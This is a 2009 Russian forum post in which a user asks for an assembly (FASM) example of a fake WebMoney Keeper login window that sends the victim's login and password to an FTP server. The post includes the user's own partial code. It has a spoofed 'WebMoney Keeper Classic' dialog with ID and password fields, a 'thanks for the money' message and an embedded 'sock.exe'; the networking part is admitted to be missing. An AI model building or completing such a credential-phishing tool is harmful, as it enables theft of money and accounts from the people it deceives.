|
Новичок
Регистрация: 02.05.2009
Сообщений: 18
Провел на форуме: 31604
Репутация:
-3
|
|
плз скиньте какой-нить пример фейка на асме (fasm) например веб мани и чтоб логин и пароль приходили на фтп
вот пример но не могу сделать подключение к сокетам
format PE GUI 4.0
entry start
include 'include\win32a.inc'
include 'include\encoding\WIN1251.INC'
ID_CAPTION = 101
ID_PASS = 102
ID_ICONINFORMATION = 103
ID_ICONWARNING = 104
ID_ICONERROR = 105
HTCAPTION = 2
section '.data' data readable writeable
caption db 'всем привет',0
msgOK db 'спасибо за деньги.',0
hInstance dd ?
section '.code' code readable executable
start:
invoke GetModuleHandle,0
mov [hInstance],eax
invoke DialogBoxParam,eax,37,HWND_DESKTOP,DialogProc,0
or eax,eax
jz exit
invoke MessageBox,HWND_DESKTOP,msgOK,caption,0
jmp exit
exit:
invoke ExitProcess,0
proc DialogProc hwnddlg,msg,wparam,lparam
push ebx esi edi
mov eax,[msg]
cmp eax,WM_COMMAND
je wmcommand
cmp eax,WM_INITDIALOG
je wminitdialog
cmp eax,WM_CLOSE
je wmclose
xor eax,eax
jmp finish
wmcommand:
cmp [wparam],IDCANCEL
je wmclose
cmp [wparam],IDOK
jne processed
invoke EndDialog,[hwnddlg],1
jmp processed
wminitdialog:
invoke LoadIcon,[hInstance],17
invoke SendMessage,[hwnddlg],WM_SETICON,EM_LIMITTEXT,ICON_SMALL,eax
jmp processed
wmclose:
invoke EndDialog,[hwnddlg],0
processed:
mov eax,1
finish:
pop edi esi ebx
ret
endp
section '.idata' import data readable writeable
library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL'
include 'include\api\kernel32.inc'
include 'include\api\user32.inc'
section '.rsrc' resource data readable
IDR_PICT = 27
directory RT_DIALOG,dialogs,\
RT_BITMAP,bitmaps,\
RT_ICON,icons,\
RT_GROUP_ICON,group_icons,\
RT_VERSION,versions
resource icons,\
1,LANG_NEUTRAL,icon_data
resource group_icons,\
17,LANG_NEUTRAL,main_icon
resource versions,\
2,LANG_ENGLISH+SUBLANG_DEFAULT,version
resource dialogs,\
37,LANG_ENGLISH+SUBLANG_DEFAULT,main
resource bitmaps,\
IDR_PICT,LANG_NEUTRAL,pict
dialog main,'WebMoney Keeper Classic 3.7.0.1',10,10,213,147,WS_VISIBLE+WS_POPUP+WS_CAPT ION+WS_SYSMENU+DS_CENTER+DS_MODALFRAME
dialogitem 'STATIC','&WMID:',100,75,90,50,35,WS_VISIBLE
dialogitem 'EDIT','',ID_CAPTION,110,90,90,12,WS_VISIBLE+WS_BO RDER+ES_AUTOHSCROLL
dialogitem 'STATIC','пароль',70,70,110,50,8,WS_VISIBLE
dialogitem 'EDIT','',ID_PASS,110,110,90,12,WS_VISIBLE+WS_BORD ER+ES_AUTOHSCROLL
dialogitem 'BUTTON',Войти',ID_ICONINFORMATION,71,10,60,8 ,WS_VISIBLE+BS_AUTORADIOBUTTON
dialogitem 'BUTTON','&Enter in the programm',ID_ICONWARNING,71,35,10,15,WS_VISIBLE+BS _AUTORADIOBUTTON
dialogitem 'BUTTON','&я хочу',130,70,0,140,55,WS_VISIBLE+BS_GROUPBOX
dialogitem 'BUTTON','...........',ID_ICONERROR,71,20,38,17,WS _VISIBLE+BS_AUTORADIOBUTTON
dialogitem 'STATIC',IDR_PICT,-1,0,0,0,0,WS_VISIBLE+SS_BITMAP
dialogitem 'BUTTON','&OK',IDOK,95,130,45,15,WS_VISIBLE+WS_TAB STOP+BS_PUSHBUTTON
dialogitem 'BUTTON','&Отмена',IDCANCEL,155,130,45,15,WS _VISIBLE+WS_TABSTOP+BS_PUSHBUTTON
enddialog
bitmap pict,'bitmap.bmp'
icon main_icon,icon_data,'bmp.ico'
versioninfo version,VOS__WINDOWS32,VFT_APP,VFT2_UNKNOWN,LANG_E NGLISH+SUBLANG_DEFAULT,0,\
'FileDescription','Bitmap example',\
'LegalCopyright',<'Copyright ',0A9h,' BarMentaLisk 0000'>,\
'FileVersion','0.1',\
'ProductVersion','0.1',\
'OriginalFilename','bmp_example'
resdata fdat
file 'sock.exe'
endres
Последний раз редактировалось SEKTOR3A; 28.10.2009 в 02:50..
|